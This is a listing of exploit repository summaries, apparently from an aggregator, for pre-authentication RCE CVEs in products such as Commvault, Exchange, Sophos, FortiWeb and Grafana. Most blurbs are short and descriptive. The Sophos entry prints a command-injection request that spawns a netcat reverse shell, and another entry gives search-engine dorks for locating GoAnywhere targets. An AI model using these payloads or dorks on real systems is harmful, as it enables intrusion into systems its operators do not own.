watchTowr-vs-Commvault-PreAuth-RCE-CVE-2025-34028

CVE-2025-34028 إثبات مفهوم لتنفيذ تعليمات برمجية عن بُعد بدون مصادقة مسبقة في Commvault اطلع على منشور مدونتنا للحصول على التفاصيل التقنية الكشف في العمل python watchtowr-vs-commvault-rce-CVE-2025-34028.py --url https://192.168.1.1 / | | |\ \ \ / / \ \ / | | | | / \ / / \ \ \ / / | | \ | Y...

CVE-2026-6875-PoC-Exploit

CVE-2026-6875 - إطار عمل استغلال RCE بدون مصادقة لـ ServiceNow ومتحقق PoC 🔥 ServiceNow AI Platform — حقن جافا سكريبت → هروب من الصندوق الرملي → RCE → رفع الصلاحيات إلى الجذر إطار عمل الاستغلال والمتحقق الآمن لأغراض الاختبار الأمني المصرح به فقط. ⚖️ إخلاء المسؤولية القانوني والاستخدام المسؤول تم...

CVE-2019-1003000_RCE-DETECTION

CVE-2019-1003000RCE-DETECTION Résumé général En enchaînant la vulnérabilité CVE-2018-1000861 avec CVE-2019-1003000, j'ai créé un module pour tester une RCE pré-authentification sur Jenkins CI. Initialement, j'avais essayé de détecter la vulnérabilité avec un nom d'utilisateur, un mot de passe et ...

CVE-2026-62911

CVE-2026-62911 RCE sans authentification sur Microsoft Exchange Server. Aucun identifiant requis. Orange Tsai DEVCORE a utilisé cette faille lors du Pwn2Own Berlin 2026 dans le cadre d'une chaîne de 3 bugs. Prix de 200 000 $, prise de contrôle totale en tant que SYSTEM. Ce qu'il fait Exchange...

CVE-2025-25257

CVE-2025-25257 - ثغرة SQL Injection إلى تنفيذ أوامر عن بُعد RCE في FortiWeb بدون مصادقة 07/09/2025 بواسطة TheStingR إخلاء مسؤولية: هذا الدليل البرهاني على المفهوم PoC مقدم لأغراض الاختبارات الأمنية المصرح بها والبحث فقط. الاستخدام غير المصرح به ضد أنظمة لا تمتلكها أو ليس لديك إذن صريح لاختبارها غ...

CVE-2026-41089-LongLogon

LongLogon · CVE-2026-41089 LongLogon هو فحص مسبق غير مصادق عليه وغير مدمر لـ CVE-2026-41089 ، وهو تجاوز سعة المخزن المؤقت للمكدس قبل المصادقة في خدمة Netlogon في ويندوز. بدون بيانات اعتماد، وبدون إرسال التجاوز، يبلغ عما إذا كان اسم نطاق DNS لوحدة تحكم المجال طويلًا بما يكفي لتعطل الخلل. هل يعمل...

CVE-2026-23918-Double-free-Apache-httpd-mod_http2

CVE-2026-23918 - إثبات المفهوم لـ Apache httpd modhttp2 يحتوي هذا المستودع على تنفيذ إثبات المفهوم مكتوب بلغة Go لسيناريو تلف الذاكرة قبل المصادقة يؤثر على Apache httpd مع modhttp2. يوضح الكود في هذا المستودع نهج الرش والتحفيز ضد هدف ضعيف وهو مخصص لأبحاث الأمن المصرح بها والاختبار والتحليل الدفاع...

CVE-2026-65400-poc

CVE-2026-65400 — macOS Partage d'écran : lecture de fichier root pré-auth PoC en lecture seule Preuve de concept en lecture seule. Elle démontre le contournement de l'authentification en lisant un fichier réservé à root sur un hôte vulnérable. Elle n'écrit rien sur la cible : pas de LaunchDaemon,...

Exploit for Missing Authentication for Critical Function in Coreweave Marimo

CVE-2026-39987 - Marimo Pre-Auth RCE xpl0ited by infrar3dh...

CVE-2023-1671

CVE-2023-1671 ثغرة RCE قبل المصادقة في Sophos Web Appliance إثبات المفهوم curl -k --trace-ascii % "https://192.168.56.108/index.php?c=blocked&action=continue" -d "argsreason=filetypewarn&url=$RANDOM&filetype=$RANDOM&user=$RANDOM&userencoded=$echo -n "';nc -e /bin/sh 192.168.56.1 4444 " | base64"...

cve-2025-32433-erlang_ssh_rce_reproduction

CVE-2025-32433 : Exécution de code à distance avant authentification dans le démon SSH Erlang/OTP Score CVSS : 10.0 CRITIQUE Statut : Activement exploité dans la nature Divulgation : juin 2025 Vue d'ensemble CVE-2025-32433 est une vulnérabilité critique d'exécution de code à distance non...

CVE-2023-0669

CVE-2023-0669 يعاني GoAnywhere MFT من ثغرة حقن أوامر قبل المصادقة في License Response Servlet بسبب إلغاء تسلسل كائن يتم التحكم فيه بشكل تعسفي من قبل المهاجم. 0x00 دورك shodan title:"GoAnywhere" FOFA title="GoAnywhere" 0x01 الاستخدام إصدار Java java -version openjdk version "1.8.0362" المساعدة jav...

CVE-2026-88391

Northstar dromara/northstar, quantitative trading platform = 9.1.1 enables the H2 Console but its auth interceptor only covers /northstar/, so /h2-console is exposed with no authentication and the embedded H2 DB uses default sa / empty password. Any network-reachable attacker can run arbitrary...

CVE-2021-43798

CVE-2021-43798 Grafana 8.x Path Traversal Pre-Auth كل الفضل يعود إلى j0v وتغريدته https://twitter.com/j0v0x0/status/1466845212626542607 إخلاء مسؤولية هذا لأغراض تعليمية فقط. لست مسؤولاً عن أفعالك. استخدمه على مسؤوليتك الخاصة. بحسن نية، امتنعت عن نشر هذا الـ PoC حتى يصبح هذا الثغر الأمني عاماً أو...

HPE-Aruba-AOS8-Vulnerabilities

⚠️ Statut de divulgation : Toutes les découvertes de ce dépôt ont été soumises au programme de bug bounty HPE Networking Bugcrowd entre mai et juin 2026. Cinq des six soumissions ont été clôturées comme « Non applicables » au niveau du triage sans réconciliation technique des preuves soumises...

CVE-2020-0796-SMBGhost-Exploit-Demo

عرض توضيحي لاستغلال CVE-2020-0796 SMBGhost يعرض هذا المشروع إكسبلويت إثبات المفهوم PoC لثغرة CVE-2020-0796، المعروفة أيضًا باسم SMBGhost - وهي ثغرة حرجة لتنفيذ الكود عن بُعد RCE قبل المصادقة، تؤثر على أنظمة Windows 10 وWindows Server التي تستخدم SMBv3. تم تطوير هذا المشروع كجزء من مشروع أكاديمي ف...

CVE-2021-36394-Pre-Auth-RCE-in-Moodle

CVE-2021-36394-Pre-Auth-RCE-in-Moodle مقدمة عن الثغرة Moodle هو نظام إدارة التعلم الأكثر شهرة في العالم. ابدأ في إنشاء موقع التعلم الإلكتروني الخاص بك في دقائق! توجد ثغرة تنفيذ أوامر عن بُعد غير مصرح بها في وحدة مصادقة Shibboleth الخاصة بـ Moodle. تُستخدم هذه الوحدة على نطاق واسع في الجامعات للسم...

wp2shell-poc

wp2shell 💙 Soutenez le projet Si vous appréciez mon travail, envisagez de soutenir le projet via USDT TRC20 : TQBA72kakjCZLnJt8fJYcD7dyQCEpzNtVN Chaîne RCE pré-authentification du cœur de WordPress wp2shell est une preuve de concept de recherche en sécurité démontrant une chaîne de vulnérabilités...

CVE-2022-36804-PoC

CVE-2022-36804-PoC سكربت استغلال متعدد الخيوط لـ CVE-2022-36804 الذي يؤثر على معظم إصدارات BitBucket 8.3.1 اطلع على النشرة الكاملة هنا https://jira.atlassian.com/browse/BSERV-13438 كل الفضل يعود إلى TheGrandPew لاكتشافه سيكتشف السكربت تلقائيًا المستودعات العامة الموجودة على خوادم bitbucket ثم يخت...

CVE-2023-20887

استغلال CVE-2023-20887 VMWare vRealize Network Insight - تنفيذ كود عن بُعد قبل المصادقة CVE-2023-20887 الاستخدام usage: exploit.py -h -t TARGET -l LOCALHOST -p LOCALPORT optional arguments: -h, --help show this help message and exit -t TARGET, --target TARGET Target url, http://localhost:9000 -l...